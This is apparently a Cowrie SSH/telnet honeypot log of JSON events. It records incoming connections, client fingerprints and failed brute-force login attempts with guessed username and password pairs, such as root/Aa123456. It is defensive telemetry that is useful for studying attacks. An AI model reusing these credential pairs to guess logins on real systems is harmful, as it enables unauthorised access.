{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwas12","message":"login attempt [ubuntu/qwas12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:07.808988Z","src_ip":"121.29.4.103","session":"00a11bd0227c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:09.049445Z","src_ip":"121.29.4.103","session":"00a11bd0227c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34512,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aacda2ce3a0","protocol":"ssh","message":"New connection: 159.203.92.129:34512 (159.203.135.109:22) [session: 9aacda2ce3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:10.861614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:10.866056Z","src_ip":"159.203.92.129","session":"9aacda2ce3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:10.870992Z","src_ip":"159.203.92.129","session":"9aacda2ce3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accept","password":"123456qwer!","message":"login attempt [accept/123456qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:10.882456Z","src_ip":"159.203.92.129","session":"9aacda2ce3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:11.890674Z","src_ip":"159.203.92.129","session":"9aacda2ce3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.48.7.143","src_port":53598,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df97028ab96","protocol":"telnet","message":"New connection: 157.48.7.143:53598 (159.203.135.109:23) [session: 7df97028ab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:19.049802Z"}
{"eventid":"cowrie.session.closed","duration":14.029742956161499,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:33.079376Z","src_ip":"157.48.7.143","session":"7df97028ab96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.29.4.103","src_port":48570,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8250e07ed02","protocol":"ssh","message":"New connection: 121.29.4.103:48570 (10.17.0.5:22) [session: a8250e07ed02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:33.378296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:33.383334Z","src_ip":"121.29.4.103","session":"a8250e07ed02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:33.629803Z","src_ip":"121.29.4.103","session":"a8250e07ed02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"user","message":"login attempt [ftpuser/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:34.659180Z","src_ip":"121.29.4.103","session":"a8250e07ed02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:35.937531Z","src_ip":"121.29.4.103","session":"a8250e07ed02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":33418,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bc2f0f278c2","protocol":"ssh","message":"New connection: 34.39.58.191:33418 (159.203.135.109:22) [session: 2bc2f0f278c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:47.080992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:47.086485Z","src_ip":"34.39.58.191","session":"2bc2f0f278c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:47.160792Z","src_ip":"34.39.58.191","session":"2bc2f0f278c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"home","message":"login attempt [root/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:47.489323Z","src_ip":"34.39.58.191","session":"2bc2f0f278c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:48.565571Z","src_ip":"34.39.58.191","session":"2bc2f0f278c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":60844,"dst_ip":"159.203.135.109","dst_port":22,"session":"596089fe3945","protocol":"ssh","message":"New connection: 43.160.206.186:60844 (159.203.135.109:22) [session: 596089fe3945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:52.156669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:52.161508Z","src_ip":"43.160.206.186","session":"596089fe3945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:52.407166Z","src_ip":"43.160.206.186","session":"596089fe3945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz$2wsx","message":"login attempt [root/1qaz$2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:53.421015Z","src_ip":"43.160.206.186","session":"596089fe3945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:54.671592Z","src_ip":"43.160.206.186","session":"596089fe3945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57578,"dst_ip":"159.203.135.109","dst_port":22,"session":"abe74e948de1","protocol":"ssh","message":"New connection: 159.203.92.129:57578 (159.203.135.109:22) [session: abe74e948de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:55.038272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:55.046131Z","src_ip":"159.203.92.129","session":"abe74e948de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:55.051717Z","src_ip":"159.203.92.129","session":"abe74e948de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"access","password":"bracnet!@#","message":"login attempt [access/bracnet!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:55.070512Z","src_ip":"159.203.92.129","session":"abe74e948de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00218391418457,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:55.123059Z","src_ip":"89.43.134.59","session":"0d23e877ab0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":62066,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d71673fccbd","protocol":"telnet","message":"New connection: 89.43.134.59:62066 (159.203.135.109:23) [session: 6d71673fccbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:55.765670Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:56.080862Z","src_ip":"159.203.92.129","session":"abe74e948de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014500617981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:56.394373Z","src_ip":"89.43.134.59","session":"c6a9a6056f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":42933,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f1fe9dc3b5","protocol":"telnet","message":"New connection: 89.43.134.59:42933 (159.203.135.109:23) [session: 99f1fe9dc3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:57.360914Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":46421,"dst_ip":"159.203.135.109","dst_port":23,"session":"333a18e1bff8","protocol":"telnet","message":"New connection: 89.43.134.59:46421 (159.203.135.109:23) [session: 333a18e1bff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:57.447691Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43530,"dst_ip":"159.203.135.109","dst_port":22,"session":"11b9b9daf99d","protocol":"ssh","message":"New connection: 159.203.92.129:43530 (159.203.135.109:22) [session: 11b9b9daf99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:39.165591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:39.170649Z","src_ip":"159.203.92.129","session":"11b9b9daf99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:39.175370Z","src_ip":"159.203.92.129","session":"11b9b9daf99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accumulo","password":"123","message":"login attempt [accumulo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:39.193243Z","src_ip":"159.203.92.129","session":"11b9b9daf99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:40.200545Z","src_ip":"159.203.92.129","session":"11b9b9daf99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":41768,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba99076ca40","protocol":"ssh","message":"New connection: 34.39.58.191:41768 (159.203.135.109:22) [session: 1ba99076ca40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:42.168394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:42.172885Z","src_ip":"34.39.58.191","session":"1ba99076ca40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:42.247770Z","src_ip":"34.39.58.191","session":"1ba99076ca40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:42.578151Z","src_ip":"34.39.58.191","session":"1ba99076ca40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:43.657176Z","src_ip":"34.39.58.191","session":"1ba99076ca40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"41de09708c87","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: 41de09708c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:33:44.083067Z"}
